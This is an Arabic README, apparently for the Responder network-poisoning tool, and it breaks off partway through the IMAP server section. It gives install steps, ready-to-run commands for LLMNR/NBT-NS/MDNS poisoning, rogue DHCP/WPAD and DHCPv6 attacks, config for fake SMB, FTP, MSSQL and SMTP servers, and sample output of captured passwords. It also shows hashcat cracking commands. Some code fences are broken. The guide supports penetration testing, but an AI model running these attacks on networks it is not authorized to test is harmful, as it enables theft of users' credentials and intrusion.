Responder

Responder هي أداة تسمم لـ LLMNR و NBT-NS و MDNS مع خوادم مصادقة مزيفة مدمجة لـ HTTP و SMB و MSSQL و FTP و LDAP و Kerberos و DNS والمزيد. تدعم NTLMv1/NTLMv2/LMv2 و NTLMSSP الموسع وطرق مصادقة متنوعة عبر أكثر من 15 بروتوكول.

---

جدول المحتويات

• نظرة عامة
• ما الجديد
• التثبيت
• بداية سريعة
• تسمم الشبكة
• الخوادم المزيفة
• التهيئة
• macOS
• استكشاف الأخطاء وإصلاحها

---

نظرة عامة

يلتقط Responder بيانات الاعتماد من خلال الاستجابة لطلبات تحليل أسماء LLMNR و NBT-NS و MDNS. عندما يحاول عميل حل اسم مضيف غير موجود، يجيب Responder، ويوجه العميل إلى جهاز المهاجم حيث تلتقط خوادم مصادقة مزيفة متعددة بيانات الاعتماد. يتم تضمين خوادم DHCP و DHCPv6 المزيفة أيضًا ويمكن تمكينها بشكل منفصل.

البيانات الملتقطة:

• تجزئات NetNTLMv1/v2 - قابلة للكسر باستخدام hashcat/john
• تجزئات Kerberos AS-REQ - كسر دون اتصال (hashcat -m 7500)
• بيانات اعتماد نصية واضحة - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, إلخ
• التحدي والاستجابة - CRAM-MD5, DIGEST-MD5

---

ما الجديد

يتضمن هذا الإصدار:

تحسينات DHCPv6 و DNS

• ✅ DHCPv6 INFORMATION-REQUEST - توافق كامل مع Windows 10/11
• ✅ تصفية النطاقات - استهداف نطاقات محددة (DHCPv6 و DNS)
• ✅ إعلانات الموجه - تسمم شبكة IPv6 اختياري

ترقيات خادم البريد الإلكتروني

• ✅ SMTP STARTTLS - الالتقاط من عملاء البريد الإلكتروني الحديثين
• ✅ IMAP STARTTLS - المنفذ 143 مع ترقية TLS
• ✅ IMAPS - SSL أصلي على المنفذ 993
• ✅ POP3 محسّن - توافق أفضل

تحسينات Kerberos

• ✅ فرض AS-REQ - فرض مصادقة Kerberos.
• ✅ محاولة الرجوع إلى NTLM - بعد الحصول على مصادقة Kerberos، إرجاع KDC_ERR_ETYPE_NOSUPP

تحسينات البروتوكول

• ✅ MSSQL - التقاط مصادقة SQL Server
• ✅ LDAP/LDAPS - بيانات اعتماد خدمات الدليل
• ✅ RDP - مصادقة سطح المكتب البعيد
• ✅ WinRM - إدارة Windows عن بُعد
• ✅ DCERPC - مصادقة Windows RPC

---

التثبيت

المتطلبات

• Python 2.7 أو Python 3.x
• لينكس (يوصى بـ Ubuntu أو Kali أو Debian)
• صلاحيات الجذر

تبعيات النظام```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### تثبيت Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

التحقق من التثبيت```bash

sudo python3 Responder.py --help

---

## البداية السريعة

### التسمم الأساسي```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

هجوم DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### فرض المصادقة الأساسية لـ HTTP```bash
sudo python3 Responder.py -I eth0 -b -v

تمكين Proxy Auth + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## تسمم الشبكة

### تسمم LLMNR/NBT-NS/MDNS

**الغرض:** الرد على فشل تحليل الأسماء

**كيفية العمل:**
1. يبث العميل استعلامًا عن مضيف غير موجود
2. يجيب Responder: "أنا ذلك المضيف"
3. يتصل العميل بالمهاجم
4. يتم التقاط بيانات الاعتماد

**التكوين:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

الاستخدام:```bash sudo python3 Responder.py -I eth0 -v

---

### خادم DHCPv6

**الغرض:** إجبار العملاء على استخدام DNS المهاجم عبر IPv6

**الميزات:**
- ✅ دعم INFORMATION-REQUEST (ويندوز 10/11)
- ✅ دعم SOLICIT/REQUEST
- ✅ تصفية النطاق (استهداف دقيق)
- ✅ إعلان الموجه (اختياري)

**كيف يعمل:**
1. يرسل ويندوز طلبات DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. يستجيب Responder: DNS = IPv6 المهاجم
3. يمنح ويندوز أولوية DNS عبر IPv6
4. جميع استعلامات DNS → المهاجم
5. تسمم DNS → التقاط بيانات الاعتماد

**الإعدادات:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

الاستخدام:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**المخرجات المتوقعة:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

---

الخوادم المارقة

يضم Responder أكثر من 17 خادم توثيق مارق:

خدمات الملفات والشبكة

خادم SMB (المنافذ 445، 139)

الغرض: التقاط تجزئات NetNTLM من مشاركات الملفات

الميزات:

• ✅ SMBv1/SMBv2/SMBv3
• ✅ التقاط تجزئات NetNTLMv1/v2
• ✅ NTLMSSP للأمان الممتد
• ✅ تعطيل توقيع الجلسة (يسمح بالتتابع)

المحفزات:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**التنسيق الملتقط:**```
username::domain:challenge:response:blob

التكسير:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**الإعدادات:**```ini
[Responder Core]
SMB = On

---

خادم FTP (Port 21)

الغرض: التقاط بيانات اعتماد FTP النصية الواضحة

الميزات:

• ✅ Honeypot لتسجيل الدخول المجهول
• ✅ مصادقة USER/PASS
• ✅ التقاط بيانات الاعتماد النصية الواضحة

المحفزات:```bash ftp attacker-ip

Username: anything

Password: anything

**التنسيق الملتقط:**```
[FTP] Cleartext: username:password

الإعدادات:```ini [Responder Core] FTP = On

---

### خوادم قواعد البيانات

#### خادم MSSQL (المنفذ 1433)

**الغرض:** التقاط مصادقة خادم Microsoft SQL

**الميزات:**
- ✅ مصادقة خادم SQL
- ✅ مصادقة ويندوز (NTLM)
- ✅ بيانات اعتماد SQL بنص واضح
- ✅ التقاط تجزئة NetNTLMv2

**المحفزات:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

التنسيقات الملتقطة:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**التكوين:**```ini
[Responder Core]
SQL = On

ملاحظات:

• يلتقط كلاً من مصادقة SQL ومصادقة Windows
• يعمل مع اتصالات SSMS وsqlcmd وADO.NET
• يمكنه التقاط بيانات اعتماد المجال عبر مصادقة Windows

---

خوادم البريد الإلكتروني

خادم SMTP (المنفذ 25، 587)

الغرض: التقاط مصادقة عميل البريد الإلكتروني

المميزات:

• ✅ دعم STARTTLS (العملاء الحديثون)
• ✅ AUTH PLAIN (نص عادي)
• ✅ AUTH LOGIN (نص عادي)
• ✅ AUTH CRAM-MD5
• ✅ AUTH DIGEST-MD5
• ✅ AUTH NTLM (NetNTLMv2)

تدفق STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅

**المحفزات:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

التنسيقات الملتقطة:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response

**الإعدادات:**```ini
[Responder Core]
SMTP = On

تحذيرات الشهادة: تحذيرات الشهادات الموقعة ذاتيًا طبيعية. يرفض العملاء المحاولة الأولى، ويعيدون المحاولة وتنجح. لا تزال بيانات الاعتماد ملتقطة.

---

خادم IMAP (المنفذ 143)

الغرض: التقاط مصادقة IMAP باستخدام STARTTLS

الميزات:

• ✅ دعم STARTTLS
• ✅ أمر LOGIN (نص صريح)
• ✅ AUTHENTICATE PLAIN
• ✅ AUTHENTICATE LOGIN
• ✅ AUTHENTICATE NTLM